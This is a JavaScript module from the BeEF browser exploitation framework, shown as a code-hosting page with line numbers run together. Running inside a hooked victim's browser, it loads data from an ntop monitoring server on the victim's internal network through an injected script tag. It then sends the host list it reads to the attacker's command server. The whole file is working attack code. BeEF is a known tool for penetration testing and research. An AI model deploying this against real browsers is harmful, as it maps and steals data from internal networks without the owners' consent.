Path: blob/master/modules/network/get_ntop_network_hosts/command.js
1873 views
//1// Copyright (c) 2006-2026Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {7var rhost = '<%= @rhost %>';8var rport = '<%= @rport %>';910load_script = function(url) {11beef.debug("[Get ntop Network Hosts] Loading: " + url);12var s = document.createElement("script");13s.type = 'text/javascript';14s.src = url;15document.body.appendChild(s);16}1718read_ntop = function() {19try {20var result = JSON.stringify(ntopDict);21beef.debug("[Get ntop Network Hosts] Success: Found ntop data (" + result.length + ' bytes)');22beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto=http&ip=<%= @rhost %>&port=<%= @rport %>&data="+result, beef.are.status_success());23} catch(e) {24beef.debug("[Get ntop Network Hosts] Error: Did not find ntop");25beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=did not find ntop', beef.are.status_error());26return;27}28}2930load_script("http://"+rhost+":"+rport+"/dumpData.html?language=python&view=long");31setTimeout("read_ntop()", 10000);3233});34353637